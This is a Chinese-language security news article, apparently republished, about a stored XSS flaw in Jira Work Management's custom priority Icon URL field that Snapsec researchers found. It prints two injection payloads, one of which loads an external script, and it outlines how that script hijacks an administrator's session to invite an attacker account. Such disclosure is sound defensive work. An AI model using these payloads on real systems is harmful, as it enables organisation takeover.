
Atlassian 旗下的 Jira Work Management 是一款在企业中广泛应用的协作工具,主要用于项目跟踪、审批流程管理和日常任务处理。近期,Snapsec 安全研究人员在该平台中发现了一个高危的存储型跨站脚本(XSS)漏洞。攻击者利用一个看似低风险的配置字段,能够从低权限账户出发,最终实现对整个组织的完全控制。这再次提醒我们,即使是成熟的 SaaS 平台,其内部的管理界面也可能暗藏风险。
Jira Work Management 存储型 XSS 漏洞分析
在 Jira 的工作流中,“问题”(Issues)是跟踪任务的核心单元,其中包含了优先级等数据字段。虽然系统提供了默认的优先级设置,但管理员可以根据组织需求,自定义新的优先级及其描述。
研究人员在安全评估中发现,拥有特定管理权限的用户可以创建新的自定义优先级,并能够操作其“图标 URL”(Icon URL)属性。问题在于,该 URL 字段的后端缺乏充分的输入验证与输出编码机制。通过将图标 URL 设置为一段恶意载荷,研究团队成功在前端触发了存储型 XSS。
例如,将图标 URL 设置为:
https://google.com?name=</script><script>alert(0)</script>
当包含此优先级的页面被渲染时,恶意脚本便会执行。

存储型 XSS 的危害性在于,它不需要受害者点击任何链接,只需其浏览器加载了被污染的页面,恶意代码就会自动执行。研究人员面临的核心挑战是:如何将这个需要身份认证才能触发的 XSS,武器化以影响拥有更高权限的管理员?
为此,团队深入分析了 Jira 的用户角色体系,试图找到能够创建自定义优先级的最低权限角色。最终,他们锁定了“产品管理员”(Product Administrator)角色。该角色虽然无权直接访问 Confluence 或 Jira Service Management 等其他内部应用,但仍然保留了编辑问题优先级等基础管理权限,这为攻击提供了入口。
组织控制攻击执行过程
攻击者首先以一个被入侵或本身就怀有恶意的“产品管理员”身份登录,进入 Jira 的问题设置界面,添加一个新的自定义优先级。在“图标 URL”字段中,注入经过精心构造的定向载荷。
例如:
https://google.com?name=</script><script src=https://snapsec.co/jira-xss.js></script>
当超级管理员或其他高级权限用户访问这个已被篡改的优先级管理页面时,存储在其间的恶意 JavaScript 载荷就会在管理员的浏览器中悄无声息地执行。
这段恶意脚本会利用当前管理员的会话,强制发送一个自动化的用户邀请请求。该请求会将攻击者控制的用户账户添加到组织中,并为其授予多个 Atlassian 产品(如 Jira Software, Confluence 等)的完全访问权限。

至此,攻击者便获得了查看、创建、修改或删除整个 Jira 环境中任何项目的能力,导致组织从内部“完全沦陷”。这个漏洞清晰地揭示了一个现代 SaaS 安全 中的重要教训:永远不能默认信任管理员的输入。即使是在 Atlassian 这样成熟的平台上,如果内部配置面板忽视了严格的输入验证,依然可能埋藏着影响巨大的安全漏洞。
此外,这也说明了访问控制并不完全等同于风险控制。在本案例中,一个在产品可见性上受到限制的用户(产品管理员),依然能够将持久性的恶意载荷注入到一个全局可访问的配置区域。正如 Snapsec 所强调的,企业必须对所有可由用户定制的字段实施严格的验证机制,确保所有管理工作流的安全性,这是 权限提升 防护的关键一环。
参考来源:
Stored XSS Bug in Jira Work Management Could Lead to Full Organization Takeover
https://cybersecuritynews.com/stored-xss-bug-in-jira-work-management/
对于企业 运维与测试 团队和安全研究人员而言,深入理解此类漏洞的成因与利用链,对于构建更稳固的防御体系至关重要。如果你想了解更多前沿的漏洞分析与安全技术,欢迎来 云栈社区 交流探讨。